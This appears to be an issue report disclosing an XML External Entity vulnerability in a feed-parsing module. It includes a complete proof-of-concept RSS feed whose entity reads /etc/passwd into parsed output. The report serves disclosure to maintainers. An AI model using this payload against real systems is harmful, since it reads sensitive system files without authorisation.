Subject: | XML External Entities Vulnerability |
This module is vulnerable to a XML External Entities Exploit, as described here:
http://mikeknoop.com/lxml-xxe-exploit/
Try parsing the following feed on a Linux system and you'll see the contents of your /etc/passwd included in the output:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>
This was originally reported for XML::Feed at https://github.com/davorg/xml-feed/issues/15 and they pointed me in this direction.